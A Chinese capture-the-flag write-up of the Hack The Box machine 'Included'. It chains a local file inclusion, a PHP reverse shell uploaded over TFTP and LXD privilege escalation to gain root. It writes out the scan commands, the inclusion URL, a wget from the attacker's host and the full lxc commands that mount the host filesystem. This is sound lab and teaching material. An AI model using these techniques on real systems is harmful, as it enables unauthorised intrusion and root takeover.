组合拳|LFI+TFTP=Getshell

admin 2022年3月14日10:02:06评论83 views字数 1608阅读5分21秒阅读模式

组合拳|LFI+TFTP=Getshell

文章声明


安全文章技术仅供参考,此文所提供的信息为漏洞靶场进行渗透,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。

本文所提供的工具仅用于学习,禁止用于其他,未经授权,严禁转载,如需转载私信联系。

组合拳|LFI+TFTP=Getshell

文章简介









本文主要记录从本地文件包含漏洞到获取root权限的过程。

涉及知识点









1. 本地文件包含漏洞(LFI)
2. TFTP文件上传
3. LXD提权

靶场环境









1. Hackthebox靶场Included

2. 靶机: Linux操作系统 IP:10.129.95.185

3. 攻击机:连接VPN后的IP:10.10.14.15

演示过程










首先,我使用nmap进行端口收集:

nmap -sV -sC -sT -v 10.129.95.185 -Pn


(假如这里有张图)


发现只有80端口开启,访问如下:

组合拳|LFI+TFTP=Getshell

惊奇地发现url地址的传值参数为"?file=/home.php",由于靶场是linux操作系统,我们尝试查看文件/etc/passwd,内容显示如下:

组合拳|LFI+TFTP=Getshell

(这样查看有些混乱,我们用curl看一下)

组合拳|LFI+TFTP=Getshell

到这一步就是一个简单的任意文件读取漏洞,接下来我们通过读取到的内容getshell


组合拳|LFI+TFTP=Getshell

发现tftp用户,敏锐地查询了TFTP协议,如下:

TFTP(Trivial File Transfer Protocol),简单文件传输协议,TFTP使用UDP协议,TFTP不具备通常的FTP的许多功能,它只能从文件服务器上获得或写入文件,没有列出目录的功能,也不能对用户进行身份鉴别,它传输8位数据。

根据查到的tftp特性,这次使用nmap进行UDP端口扫描:

组合拳|LFI+TFTP=Getshell

通过TFTP工具直接连接服务器,并上传反弹shell:

组合拳|LFI+TFTP=Getshell

上传木马:

组合拳|LFI+TFTP=Getshell

通过任意文件读取可以得知绝对路径为/var/lib/tftpboot

组合拳|LFI+TFTP=Getshell

通过文件包含漏洞触发木马(访问http://10.129.95.185/?file=/var/lib/tftpboot/shell.php),反弹shell成功。

组合拳|LFI+TFTP=Getshell


组合拳|LFI+TFTP=Getshell

查看id,发现权限比较低,继续进行信息收集进而提升权限。

在/var/www/html路径下信息收集获取到mike用户名和密码:

组合拳|LFI+TFTP=Getshell

切换用户mike获取到用户权限Flag,同时注意到存在的用户组在lxd组(当用户具有lxd权限时,可以通过创建任意镜像,并将当前系统根目录挂载到镜像mnt目录下,然后通过chroot命令即可获取当前系统的root权限):

组合拳|LFI+TFTP=Getshell


组合拳|LFI+TFTP=Getshell

接下来进行lxd提权,操作如下:

攻击机:

1.下载lxd镜像生成器

git clone  https://github.com/saghul/lxd-alpine-builder.git

2.构建镜像

cd lxd-alpine-builder  
sudo ./build-alpine

3.开启HTTP服务,下载到靶机上

python3 -m  http.server 8082 -b 0.0.0.0

组合拳|LFI+TFTP=Getshell

靶机:

1. 下载攻击机上的alpine-v3.13-x86_64-20210218_0139.tar.gz
wget http://10.10.14.15:8082/alpine-v3.13-x86_64-20210218_0139.tar.gz

2. 导入镜像并成功提权

#导入镜像
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz` --alias test


#初始化镜像
lxc init test test -c security.privileged=true

#挂载磁盘
lxc config device add test test disk source=/ path=/mnt/root recursive=true

#启动镜像
lxc start test

lxc exec test /bin/sh

如果报错就先lxd初始化后在执行上面的操作

lxd init    # 一路回车

组合拳|LFI+TFTP=Getshell


获取flag

cat /mnt/root/


组合拳|LFI+TFTP=Getshell


组合拳|LFI+TFTP=Getshell


组合拳|LFI+TFTP=Getshell

组合拳|LFI+TFTP=Getshell

组合拳|LFI+TFTP=Getshell



原文始发于微信公众号(北极星sec):组合拳|LFI+TFTP=Getshell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月14日10:02:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   组合拳|LFI+TFTP=Getshellhttp://cn-sec.com/archives/828530.html

发表评论

匿名网友 填写信息